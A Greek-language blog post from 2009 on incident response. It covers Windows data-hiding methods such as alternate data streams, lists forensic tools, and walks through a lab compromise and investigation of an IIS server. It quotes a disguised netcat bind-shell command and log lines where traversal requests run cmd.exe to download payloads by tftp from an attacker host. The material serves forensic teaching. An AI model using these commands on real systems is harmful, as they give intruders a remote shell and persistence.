Sunday, January 25, 2009

Incident preparation & responce

Normal 0 false false false EL X-NONE X-NONE

Data Hiding

The easiest way to hide data on a windows machine is by simply renaming the file extension.

In windows , unlike linux, this will change the icon of the file.

Έτσι,ενα οποιοδήποτε αρχείο μπορεί να μετονομαστεί σε .dll και να μπει στο κατάλογο %WINDIR%\system32 , γεγονός που κάνει την εύρεση του αρχείου αρκετά δύσκολη ακόμα και για πολύ έμπειρους διαχειριστες συστημάτων. Πόσο μάλλον αν το μετονομασμένο αρχείο έχει μετονομαστεί σε msodbc32.dll.

Στα windows τα associations των αρχειών μπορούν να εμφανιsτουν με την εντολή assoc

Για να ενισχύσουμε το παραπάνω επιχείρημα ας δούμε το παρακάτω παράδειγμα:

C:\intepub\>inetinfo –L –d –p 80 –e cmd.exe

Εκτελώντας το «netstatan» φαίνεται ότι η πόρτα 80 είναι ανοιχτή και σας περιμένει, και απο τον τασκ μανατζερ οτι τρέχει η εφαρμογή inetinfo. Αυτή η πληροφορία θα μπορούσε να ξεγελάσει ένα διαχειριστή μέχρι να δοκιμάσει να συνδεθεί με ένα φυλομετρητή(Browser). Επειδή το NetCat δεν είναι web server απλά δεν θα γυρίσει το αναμενόμενο html αποτέλεσμα. Περαιτέρω ανάλυση απο το διαχειριστή θα δείξει ότι το service του web server δεν τρέχει και ότι μόλις συνδεθεί κάποιος με netcat se client mode θα του εμφανιστεί μια κονσόλα.

Ο μοναδικός τρόπος που μπορεί να περιορίσει τέτοια προβλήματα είναι με τη σωστές πολιτικές ασφαλείας, με τη χρήση δικαιωματων, καθως και με τα Access Control Lists(ACL)

Έτσι, αν ο χρήστης δεν έχει δικαιώματα να γράψει στο κατάλογο system32 , τότε απλα δεν θα γραφεί τίποτα σε αυτόν το κατάλογο, εμποδίζοντας έτσι την εγκατάσταση malware ή /και malicious actions.

Τρόποι αντιμετώπισης της πρακτικής μετονομασίας είναι η ανάλυση της υπογραφής των αρχείων file signature analysis ή με baseline scan.

Ένα άλλος τρόπος είναι με την χρήση των attributes των αρχείων με την εντολή attribh όπου κρύβει το αρχείο . Η λύση πολύ απλή . View hidden files ή απο κονσόλα dir /ah

Αλλοι τρόποι αποκρυψης δεδομένων.

File segmentation

Άλλος ένας τρόπος για την αποκρυψη δεδομένων σε ενα live συστημα είναι ο τρόπος της κατάτμησης δεδομένων. Αυτή η τεχνική υπάρχει απο τις παλίες εποχές του DOS όπου αν ένα αρχείο δεν χώραγε σε μια δισκέττα χωριζόταν σε πολλές και μετα ξαναενωνόταν.

Με τη χρήση αυτής της τεχνικής μπορούν να κρυφτούν αρχεία σε διάφορα μέρη ή και ακόμα στο τέλος άλλων αρχείων ή και σαν κλειδιά binary στη registry.

File Binding

To file binding είναι η μέθοδος δυαδικής ένωσης δυο αρχείων. Χωρίς το ένα να επηρεάζει το άλλο. Ο τρόπος λειτουργίας του είναι απλός, εκτελώντας το ένα αρχείο εκτελείται και το δευτερο.(ELITEWRAP)

NTFS Alternate Data Streams

TO NTFS είναι το προτεινόμενο filesystem των windows με πολλά πλεονεκτήματα έναντι του παλιού FAT όπως τα δικαιώματα ανα κατάλογο κτλ.

ΤΟ NTFS (όπως και της apple to HFS)αποτελείται απο δύο κομμάτια ένα Master File Table (MFT) και τα επιπρόσθετα attributes ή πιο συγκεκριμενα εναλλακτικες ροές δεδομένων.

Για την καλύτερη κατανόηση τι είναι οι εναλλακτικές ροές δεδομένων ας δούμε το παρακάτω παράδειγμα.

Echo “This is the normal file, main data stream” > example.txt

Echo “This is an alternate data stream” > example.txt:ads.txt

Ta ADS είναι κρυφά απο τη εντολή dir των windows.

(LIVE DEMO)

TA ADS είναι viewable απο third party προγράμματα όπως foundstone sfind.exe, sysinternals streams.exe, frank heynes lads.exe

Hiding data in the registry

H Registry είναι ένα ακόμα μερος που μπορουν να κρυφτούν δεδομένα σε διάφορα formats. Ακόμα και ολόκληρα (μικρα σχετικα σε μέγεθος)προγραμματα μπορουν να αποθηκευτουν σε binary strings, τα οποία strings μπορούν με τη σειρά τους να γίνουν segmented .

Steganography

Η γνωστή σε όλους τέχνη της απόκρυψης δεδομένων σε «εμφανή» σημεία όπως μέσα σε φωτογραφείες.

Windows File Protection (WFP)

To WFP προστατεύει την ακεραιότητα διαφόρων αρχείων του συστήματος. Αν κάποιο πρόγραμμα επιχειρήσει την τροποποίηση ή διαγραφή ενός τέτοιου αρχείου τότε αυτή η ενέργεια καταγράφεται στα logs και ταυτόχρονα το οριτζιναλ αρχείο γίνεται reload .

Ωστόσο τα windows δεν θα αντιδράσουν καθόλου αν σε κάποιοα πο τα αρχεία που προστατεύουν προστεθεί ένα ADS. ‘Eτσι, όχι μόνο δεν φαίνονται τα ADS, αλλα πέρα του ότι τα windows δεν προστατεύουν απο εναλλακτικές ροές τα αρχεία του συστήματος , δεν ειδοποιούν ούτε τον διαχειριστή σε με τέτοια αλλαγή.

Incident Preparation

Προκειμένου να ολοκληρωθεί η προετοιμασία για ένα περιστατικό, πρέπει να γνωρίζουμε τα παρακάτω:

· Καλή γνώση του λειτουργικου που διαχειριζόμαστε

· Κατανόηση του τι προστατεύουμε

· Επιβεβαίωση αποκλεισμού όλων των πιθανών διόδων

· Επιβεβαίωση προετοιμασίας άμυνας σε επίπεδα

· Παρακολούθηση της άμυνας για πρόωρα σημάδια ενος περιστατικού

Τα παραπάνω θα πρέπει να υποστηριχθούν απο αυστηρές πολιτικές ασφαλείας καθώς και απο αυστηρούς κανόνες σε firewalls και access control lists.

Incident Response Tools

1. Volatile Data

Στα Volatile Data υπάρχει συνήθως ένας πλούτος πληροφοριών που μπορούμε να χρησιμοποιήσουμε για να αποφασίσουμε αν έγινε ή όχι κάποιο περιστατικό.

Τα Volatile Data αποτελούνται συνήθως από:

· Ώρα συστήματος

· Συνδεδεμένοι χρήστες

· Πληροφορίες για κάθε process

· Δικτυακές συνδέσεις

· Κατάσταση δικτύου

· Τα περιεχόμενα του clipboard

· Ιστορικό εντολών

· Δεδομένα φορτωμένα στη μνήμη απο διάφορες υπηρεσίες ή/και προγράματα που εκτελούνται

· Πληροφορίες υπηρεσιών και οδηγών

Σε περίπτωση ενός incident o forensic analyst ή ο investigator πρέπει να φτιάξει ένα χρονοδιάγραμμα της δραστηριότητας του συστήματος.

Βασική προυπόθεση και πρώτο βήμα είναι να πάρει την τρέχουσα ημερομηνία και ώρα του συστήματος υπο έλεγχο. Στη συνέχεια πρέπει να παρθούν πολύ προσεχτικά απο κάθε ύποπτο αρχείο τα στοιχεία της ώρας γνωστα και σαν MAC. Times(Modified,Accessed,Created) in dos this can be achived via dir /t command και διαφορα αλλα διακοπτάκια (δηλαδή 3 φορές ) για κάθε αρχείο.

Utility : MACTimes.exe

Σε περίπτωση ανάλυσης ενός συστήματος σε λειτουργία , ο διαχειριστής θέλει να μάθει ποίοι είναι συνδεδεμένοι στο σύστημα.

Utilities : psloggedon.exe, netusers.exe , net.exe session(windows native)

Ενα σύστημα σε λειτουργία , βασίζεται σε λειτουργία τουλάχιστον κάποιων υπηρεσιων και κάποιων processes. Κάθε μια απο αυτές τις processes έχει κάποια χαρακτηριστικα που σχετίζονται με αυτήν και είναι σημαντικά για τον forensics investigator.

Για κάθε process μπορούμε να ανακαλύψουμε τα παρακάτω:

· Ποιο εκτελέσιμο αρχείο είναι

· Παράμετροι που χρησιμοποιήθηκαν για την αρχικοποίηση του

· Πόση ώρα εκτελείται

· Σε τι(καν αν)security context ασφαλείας τρέχει

· Τι modules ή ποίες βιβλιοθήκες έχει χρησιμοποιήσει

Έτσι μπορεί ο αναλυτής του συστήματος να αντιληφθεί αν και ποιο απο τα εκτελέσιμα είναι valid ή όχι.

Utilties: pslist.exe, pulist.exe, listdll.exe, handle.exe, tlist.exe(MS Debugging Tools),ps.exe,cmdline.exe

Μόλις βρεθεί κάποια process που φαίνεται ύποπτη, ο αναλυτής μπορεί να μαζέψει παραπάνω πληροφορίες για την process, πριν την τερματίσει. Η μνήμη που χρησιμοποιήται απο την συγκεκριμένη process μπορεί να περιέχει πληροφορίες χρήσιμες για τον αναλυτή,όπως κωδικοί , διευθύνσεις IP, άλλες απομακρυσμένες συνδέσεεις κτλ.

Utility: pmdump .exe(για να αναλυθεί αργότερα το dump file με strings.exe ή με ένα hex editor), dd.exe

Για πληροφορίες σχετικά με το configuration των network interfaces χρησιμοποιούμε το προγραμμα ipconfig (windows native) ή το iplist.exe

Για τον έλεγχο αν κάποιο network interface στο ύποπτο μηχάνημα τρέχει σε promiscuous mode υπάρχει το promiscdetect.exe

Για διαφορα στατιστικα προτοκόλλων , διευθύνσεις και δικτυακές συνδέσεις υπάρχει η εντολή “netstat an

Επόμενο σημαντικό βήμα είναι η αντνιστοίχηση των ανοιχτών ports με τις εφαρμογές που τα άνοιξαν. Να σημειώσουμε οτι πριν τα “windows XP” δεν υπήρχε αυτή η δυνατότητα natively στα windows.

Utilities : netstat –ano , openports.exe, fport.exe

Για πληροφορίες σχετικά με συνδέσεις netbios υπάρχει το nbtstat.

Επίσιης πολλές πληροφορίες μπορούν να συλλεχθούν με την εντολή ΝΕΤ και τις διάφορες παραμέτρους της όπως share ,session,file.

Σαν ελάχιστο οαναλυτής θα πρέπει να εκτελέσει τα παρακάτω προγραμματάκια :

· Iplist.exe

· Promiscdetect.exe

· Openports.exe (2 φορές με –fport kai –netstat switches)

· Nbtstat.exe

Για τα περιεχόμενα του clipboard υπάρχουν τα unxutils , για ιστορικό εντολών κονσόλας ,doskey /h

Volatile πληροφορίες μπορούν να συλλεχθούν και απο τις τρέχουσες υπηρεσίες. Για παράδειγμα αν μια υπηρεσία ξεκίνησε χειροκίνητα.

Utilities : drivers.exe, sc.exe, driverquery,

To συγκεκριμένο Group policy object (GPO) είναι επίσης χρήσιμο καθώς μπορεί να έχει στοιχεία για το πώς ήταν configured ένα σύστημα ή ακόμα και πως προσπεράστηκε η ασφαλειά του.

Utilities : GPList.exe, GPResult.exe

Τέλος μια υπηρεσία των windows είναι η protected storage για ευαίσθητα δεδομένα (πολύ κλειστό απο την Microsoft)

Utilities: pstoreview.exe

Linux equivalent tools : netstat, lsof, rpc.statd, mount ,df ,md5sum,dd ,history

2. Non Volatile Data

· Συλλογή Non Volatile Data ,για αναζήτηση αρχείων μέσα σε μια συγκεκριμένη ημερομηνία χρησιμοποιούμε το macmatch.

· Ανάκτηση δικαιωμάτων σε αρχεία με την εντολή cacls

· Για τον υπολογισμό md5 hash για όλα τα αρχεία md5deep.exe

· Binary information gathering showbinarymfr.exe

· Αναλυση των περιεχομένων tου recycle bin με το rifiuti.exe

· Command line registry search, reg.exe . Ιδιαίτερα σημαντικά είναι το κλειδί lastwrite

· Eventlog dump, auditpol.exe, dumpel.exe, eventCombMT.exe, psloglist.exe

· Tools for analyzing files, strings.exe, bintext, hexeditor,depends.exe,ftde

Incident Response

Μέχρι τώρα αναλύσαμε τα εργαλεία που θα χρειαζόμασταν για την αντιμετώπιση ενός περιστατικού. Τώρα θα αναλύσουμε πως θα ταχρησιμοποιήσουμε και πώς θα καταγράφουμε (document)την κάθε μας κίνηση προκειμένου να μπορούμε αργότερα να απαντήσουμε σε σχετική ερώτηση με λεπτομέρεια εαν χρειαστεί.

Ο καλύτερος τρόπος για την καταγραφή των στοιχείων και τη συλλόγη τους και αποφυγή λαθών κατα τη διάρκεια της εκτέλεσης της forensic ανάλυσης είναι η υλοποίηση της όλης διαδικασίας σαν μεθοδολογία.

Ψάχνοτας στο διαδύκτιο για τέτοιες μεθοδολογίες παρατήρησα ότι συχνά πολλοί διαχειριστές δεν έχουν μια ξεκάθαρη μεθοδολογία που ακολουθουν.[1,2,3]

Επίσης έχει παρατηρηθεί ότι σε περίπτωση ενός περιστατικού, όπου δηλαδή γίνει μια πετυχημένη επίθεση , ο διαχειριστής απλά ξαναφορτώνει το λειτουργικό απο ασφαλές μέσο. Αυτή η κίνηση όμως είναι καταδικασμένη σε αποτυχχία.

Εφόσον δεν βρέθηκε ο λόγος ή ο τρόπος(Root cause Analysis RCA), πώς δηλαδή εισέβαλε κάποιος στο σύστημα, προκειμένου να παρθούν τα ανάλογα μέτρα ασφάλισης του συστήματος απο παρόμοιες μελλοντικές επιθέσεις, τότε είναι σίγουρο οτι θα ξαναγίνει.

Επίσης σε περίπτωση μη ανάλυσης του συστήματος του οποίου έγινε επιτυχής επίθεση, δεν θα υπάρχουν αποδείξεις του τι έγινε , ποτε, πως ,απο που και απο ποιόν; Αυτό συνήθως οδηγεί σε εκτιμήσεις για την συμπλήρωση των κενών.

Όταν μαζεύουμε στοιχεια σε μια έρευνα δεν πρέπει να υποθέτουμε τίποτα. Οι αποφάσεις οι οποίες θα παρθούν πρέπει να βασίζονται σε γεγονότα με δυνατά στοιχεία και αποδείξεις.

Δυστυχώς όταν μιλάμε για ασφάλεια δεν υπάρχει κάποιο λογισμικό ή κάποιος χρυσός κανόνας που θα κρατήσει κάποιο σύστημα απαραβίαστο.

Ότιδήποτε γίνεται σαν μέρος της ανάλυσης ενος συστήματος πρέπει να καταγράφεται. Οποιαδήποτε εντολή εκτελέστηκε με τις ακριβείς παραμέτρους πρεπει επίσης να καταγράφεται για λόγους επαλήθευσης (αν χρειαστεί).

Επίσης , έτσι δημιουργείται ένα ιστορικό που επιτρέπει σε οποιονδήποτε να ακολουθήσει τα βήματα που έγιναν με λεπτομέρεια.

Για παράδειγμα, αντί να δηλωθεί ότι έγινε έλεγχος στα Audit settings, θα πρέπει να γραφτεί πώς έγινε ο έλεγχος ,συμπεριλαμβανομένου εντολών που χρησιμοποιήθηκαν με τις συγκεκριμένες παραμέτρους, ή ποια γραφικά περιβάλλοντα χρησιμοποιήθηκαν .

Επιπροσθέτως, καταγράφοντας την κάθε κίνηση με λεπτομέρεια , όχι μόνο επιτρέπει σε κάποιον τρίτο να ακολουθήσει τα βήματα μας / τη μεθοδολογία μας, αλλα ακόμα πιο σημαντικό, επιτρέπει και πιθανές βελτιώσεις στη μεθοδολογία μας.

Τα εργαλεία που βρίσκονται στο ύποπτο μηχάνημα δεν είναι εμπιστοσύνης καθώς μπορει να έχουν αλλαχτεί. Θα πρέπει να χρησιμοποιήσουμε τα τα αντιστοιχα προγράμματα απο ένα μέσο ανάγνωσης μόνο.

Κατα τη διάρκεια ενός incident response δεν πρέπει να γράφονται αρχεία στο σκληρό δίσκο του ύποπτου μηχανήματος, αλλα αυτό μπορεί να εξαρτάται και απο τις πολιτικές τις εκάστοτε εταιρίας/οργανισμού. Αν ο σκόπός των πολιτικών είναι να διατηρηθεί η ακαιρεότητα του μηχανήματος ενώ ταυτόχρονα να μειώνεται στο ελάχιστο η offline λειτουργία του, δεν πρέπει να καταγράφεται τίποτα στο σκηρό δίσκο και θα πρέπει να αναζητηθούν άλλοι τρόποι για την διατήρηση και μεταφορά των (προς συλλογή)δεδομένων.

Επιπλέον είναι σημνατικο να γνωρίζουμε τι εφαρμογές, τι υπηρεσίες τρέχουν στο σύστημα καθώς και τι αρχικοποίηση (configuration) είχε. Έτσι πιθανόν να εντοπίσουμε ευκολότερα τα έγκυρα προγράμματα και υπηρεσίες.

Όταν ελέγχουμε αρχεία σε ενα σύστημα , ανοίγοντάς τα, τους αλλάζουμε τη last accessed ημερομηνία καταστρέφοντας έτσι πολύτιμα στοιχεια.

Κατα την αρχίκοποίηση ενός συστήματος ,οι καλύτερες πρακτικές(best practices) προτρέπουν την αφαίρεση αχρείαστων πηγών, υπηρεσίες καθώς και εκτελέσιμων αρχείων απο το σύστημα. Επίσης το συστημα θα πρέπει να είναι πληρως αναβαθμισμενο σχετικά με τις τελευταίες αναβαθμίσεις του λειτουργικού, security settings καθώς και πολιτικές ασφαλείας.

Τα βήματα λοιπόν που ακολουθήθηκαν για την ανάλυση του ύποπτου μηχανήματος ήταν τα εξής: (καταγραφη)

· Τρέχουσα Ημ/νια και ώρα του ύποπτου συστήματος

· Αναλυτικά ποιοι χρήστες είναι συνδεδεμένοι με το σύστημα

· Τι εφαρμογές τρέχει ο κάθε χρήστης

· Αναλυτικα τι πόρους χρσιμοποιει η κάθε εφαρμογή

· Ποιες βιβλιοθήκες έχει φορτώσει και ποια modules

· Ποιες πόρτες έχει ανοίξει η κάθε εφαρμογή

· Παράμετρους αρχικοποίησης της εφαρμογής και ώρα εκτέλεσης

· Δυκτιακές πληροφορίες όπως πίνακας δρομολογητών,στατιστικά σύνδεσης, ip του μηχανήματος , DNS,DHCP,subnet

· Promiscuous mode detection

· Memory dumps(either per process or full memory dump)

· HD Image(for analysis)

Το σενάριο

Απο το μηχάνημα Α έγινε scanning για web server vulnerabilities.(witko). Βρέθηκε το συγκεκριμένο μηχάνημα έτρεχε IIS με εγκατεστημένη μια έκδοση του frontpage server extensions , η οποία δεν είχε τα τελευταία updates , και άφηνε ανοιχτή την πρόσβαση στο κατάλογο ( /scripts/ καθώς και στο κατάλογο /_vti_bin/ )και ποιο συγκεκριμένα στο αρχείο fpcount.exe, αδυναμίες που μπορούν να οδηγήσουν σε εκτέλεση εντολών του συστήματος . Επίσης, απο τον server έλειπαν μερικά κρίσημα patches που με την χρήση του παλιού directory traversal exploit με την χρήση Unicode χαρακτηρων θα επέτρεπε σε κάποιον κακόβουλο χρήστη να σηκώσει το tftp και να κατεβάσει μερικά αρχεία στο σύστημα. Στη συνέχεια και εκμεταλλευόμενςο τα προαναφερθέν exploits, εγκατέστησα μια custom υπηρεσία (με όνομα Windows Sec Center)η οποία αυτόματα σήκωνε το netcat σε listening mode sto port 3303, και μία δική μου custom εφαρμογή (με ψεύτικο όνομα apache.exe)sto port 8080η στην οποία αν συνδεόταν κάποιος με ένα browser και δεν πέρναγε παράμετρο που να ξεκινάει απο cmd τότε του γύρναγε σε html τη default σελίδα του apache, απλα δηλαδή ένα μήνυμα που να λέει success. Τέλος εκτελέσα το clearlogs.exe για να διαγράψω τα ίχνη μου απο τα windows event logs.

Network Setup

Target/Suspect Machine (A) IP:192.168.227.186 (Win2K – IIS 5)

Forensic Server (B) IP:192.168.227.185

Attacker Machine (C) IP:192.168.227.130

Forensic Analysis

Όπως αναφέραμε και προηγουμένως ,στη διαχείριση περιστατικού, πρέπει να υπάρχει μια σταθερή μεθοδολογία που θα ακολουθείται σε τέτοιες περιπτώσεις.

Για παράδειγμα ο πιο ασφαλής τρόπος εκτέλεσης των εντολών που μαζέυουν πληροφορίες είναι με την χρήση ενός script που θα τις εκτελέσει όλες μαζί. Αποφεύγοντας έτσι τυχόν τυπογραφικά λάθη (και χάσιμο πολύτιμου χρόνου σε ένα live σύστημα)και κάνοντας τα πάντα σωστά με τη πρώτη. Αυτό πάλι ίσως να βολέυει για κάποιο τοπικό αποθευτικό μέσο(usb stick). Αν όμως θέλουμε να τα αποστείλουμε κατευθείαν μέσω δικτύου για ανάλυση σε ένα άλλο μηχάνημα; Το netcat (θα μπορούσε να προσφέρει μια λύση) θα έσωζε όλα ταδεδομένα σε ένα αρχείο δυσκολέυοντας έτσι τη διαδικασία ανάλυσης των δεδομένων. Μια καλύτερη επιλογή θα ήταν κάτι σαν το netcat το οποίο θα μπορούσε να σώσει κάθε session σε ξεχωριστό αρχείο με βάση την εντολή που εκτελέστηκε(υλοποιήθηκε σαν μέρος της μεταπτυχιακής).

Εκτελώντας την εντολή 4nsiccli CommandListFile remoteHost port(Windows)

Εκτελεί τις εντολές που προαναφέρθηκαν για συλλογή πληροφοριών volatile ή/και non volatile δεδομένων.

Αφού συλλέξουμε τις πληροφορίες volatile ή/και non volatile δεδομένων το επόμενο βήμα είναι η ανάλυση.

Εκτελώντας την εντολή 4nsiccli defvolcmd.txt 192.168.227.185 888 απο το μηχάνημα Α, αν ρίξουμε μια ματιά στο μηχάνημα Β στον υποκατάλογο ForensicsAnalysis\192.168.227.186 θα δούμε ένα αρχείο για κάθε εντολή που εκτελέστηκε.

Ρίχνοντας μια γρήγορη ματιά στο αρχείο fport.exe.txt βλέπουμε τις παρακάτω ύποπτες γραμμές.

2180 mysqld -> 3306 TCP C:\Program Files\xampp\mysqld.exe

2360 apache -> 8080 TCP C:\Program Files\xampp\apache.exe

Φυσικά σαν διαχειριστής του server A δεν έβαλα ποτέ τον apache ή/και την mysql .

Στη συνέχεια ανοίξαμε το αρχείο handle.txt για να δούμε τι άλλες πληροφορίες μπορούμε να μαζέψουμε για αυτές τις δύο περίεργες processes.

mysqld.exe pid: 2180 BLINK\vgorgas

C: File (RW-) C:\Program Files\xampp\

------------------------------------------------------------------------------

Windows Sec CenterSvc.exe pid: 5940 BLINK\vgorgas

788: Section \BaseNamedObjects\ShimSharedMemory

794: C: File (RW-) C:\Program Files\xampp\

7A8: File (RW-) C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03

------------------------------------------------------------------------------

apache.exe pid: 2360 BLINK\vgorgas

6BC: File (R-D) C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

6C4: File (R-D) C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp

6E8: File (R-D) C:\Program Files\xampp\MScThesisForensicsTools.dll

6EC: File (R--) C:\WINDOWS\assembly\pubpol14.dat

6F4: File (RW-) C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700

6FC: File (R--) C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\index175.dat

740: File (R-D) C:\Documents and Settings\vgorgas\Application Data\Microsoft\CLR Security Config\v2.0.50727.42\security.config.cch

744: File (RW-) C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03

74C: File (R-D) C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch

750: File (R-D) C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch

784: File (RW-) C:\Program Files\xampp\

7AC: Section \BaseNamedObjects\Cor_Private_IPCBlock_2572

7B0: Section \BaseNamedObjects\Cor_Public_IPCBlock_2572

7BC: File (RW-) C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700

7D4: Section \BaseNamedObjects\ShimSharedMemory

------------------------------------------------------------------------------

Eπίσης κοιτώντας στο Log του cmdline.exe.txt φαίνονται οι εντολές μαζί μ ε τυχόντες παραμέτρους που εκτελέστηκαν

2180 - C:\Program Files\xampp\mysqld.exe

C:\Program Files\xampp\mysqld.exe -L -d -p 3306 -e cmd.exe

2360 - C:\Program Files\xampp\apache.exe

C:\Program Files\xampp\apache.exe 8080

5490 - C:\Program Files\xampp\ Windows Sec CenterSvc.exe

C:\Program Files\xampp\ Windows Sec CenterSvc.exe

Επίσης εκτελώντας την εντολή pslist.exe πήραμε το παρακάτω αποτέλεσμα:

Process information for BLINK:

Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time

Mysqld 2180 8 37 482 73884 0:5:02.437 1:58:57.390

apache 2360 8 16 687 61140 0:07:01.562 1:58:57.125

Στο συγκεκριμένο server (Α) έτρεχαν 2 υπηρεσίες, HTTP και mail .

Δύο υπηρεσίες με μεγάλο ιστορικό επιθέσεων. Ωστόσο έχει παρατηρηθεί ότι τελευταία υπάρχει αυξανόμενη τάση επιθέσεων στους web servers. Διάφορες στατιστικές μελέτες λένε ότι το μεγαλύτερο ποσοστό επιθέσεων (με αυξητικές τάσεις) γίνεται σε web servers .

Οπότε η επόμενη κίνηση ήταν να ελένξω τα logs του web και mail server. Επέλεξα να ξεκινήσω απο τα logs του web server καθώς και να ψάξω για περίεργα αρχεία μέσα στους υποκαταλόγους του IIS

Στα logs του IIS βρήκα τα τις εξής γραμμές:

GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+mysqld.exe

GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+ MScThesisForensicsTools.dll

GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+ap.exe

GET /scripts/../../windows/system32/cmd.exe /c+tftp+192.168.227.130+get+svc.exe

GET /scripts/../../windows/system32/cmd.exe /c+ap.exe

Γράφωντας την εντολή dir /s ap.exe για την αναζήτηση του ύποπτου αρχείου , βρέθηκε στο κατάλογο c:\intepubs\scripts

Σημείωση: Εργαλεία για έλεγχο των αναβαθμίσεων και της σημασίας τους για το σύστημα

Microsoft baseline security analyzer (MSBA)

Ελέγχοντας τις ημερομηνίες και τις ώρες των αρχείων που κατέβηκαν απο τα logs με τις αντίστοιχες ημερομηνίες και ώρες των αρχείων στον κατάλογο c:\program files\xampp παρατηρήθηκε ότι ήταν οι ίδιες.

Επίσης κοιτώντας στη registry στο κλείδι HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run βρέθηκε το κλειδί antivirus με τιμή c:\program files\xampp\apache.exe

Στη συνέχεια έγινε dump της μνήμης που χρησιμοποιούσαν τα παραπάνω processes με την ακόλουθη εντολή:

Pmdump 2360 > g:\mysqld.dmp (To disk/partition g θα μπορούσε να είναι network drive or usbstick)

Pmdump 2180 > g:\apache.dmp

Pmdump 5490 > g:\service.dmp

καθώς αν γινόταν όλη η μνήμη dump θα υπήρχε τεράστιος όγκος πληροφορίας που θα ήθελε πολύ χρόνο για ανάλυση. (και στη προκειμένη περίπτωση δεν χρειαζόταν)

Έχοντας αναλύσει και βρεί πώς έγινε και τι έγινε (κοιτώντας το log netstat.ex.etxt) μπορούμε να βρούμε και απο ποιόν έγινε ,αν είναι ακόμα συνδεδεμένος.

Αν θέλουμε παραπάνω πληροφορίες , για τα αρχεία και τι κάνει το καθένα ξεχωριστά θα πρέπει να μπούμε σε βάθος επιπέδου γλώσσας assembly για τα native binaries όπως το mysqld.exe (netcat) ή σε Microsoft Intermediate Language (MSIL) όπως το apache.exe που είναι σε .NET

Στη συνέχεια και αφού κρατήσουμε αντίγραφο των αρχείων και κάνουμε image to σκληρό δίσκο σβήνουμε τα (ύποπτα) αρχεία, κλείνουμε την υπηρεσία Windows Sec CenterSvc.exe και την σβήνουμε απο υπηρεσία. Τέλος διαγράφουμε απο τη registry τηνη τιμή antivirus.

Επόμενο βήμα είναι να ανοίξουμε τον εξυπηρετητή, να φορτόσουμε όλα τα patches and updates , επιβεβαιώνοντας ότι έχουμε αφαιρέσει τα ύποπτα αρχεία απο το σύστημα.

Τέλος, μπορούμε να πάρουμε τα αρχεια για περαιτέρω ανάλυση έχοντας λύσει το αρχίκο πρόβλημα στον εξυπηρετητη και έχοντας μαζέψει αρκετές πληροφορίες για ανάλυση.

0 comments: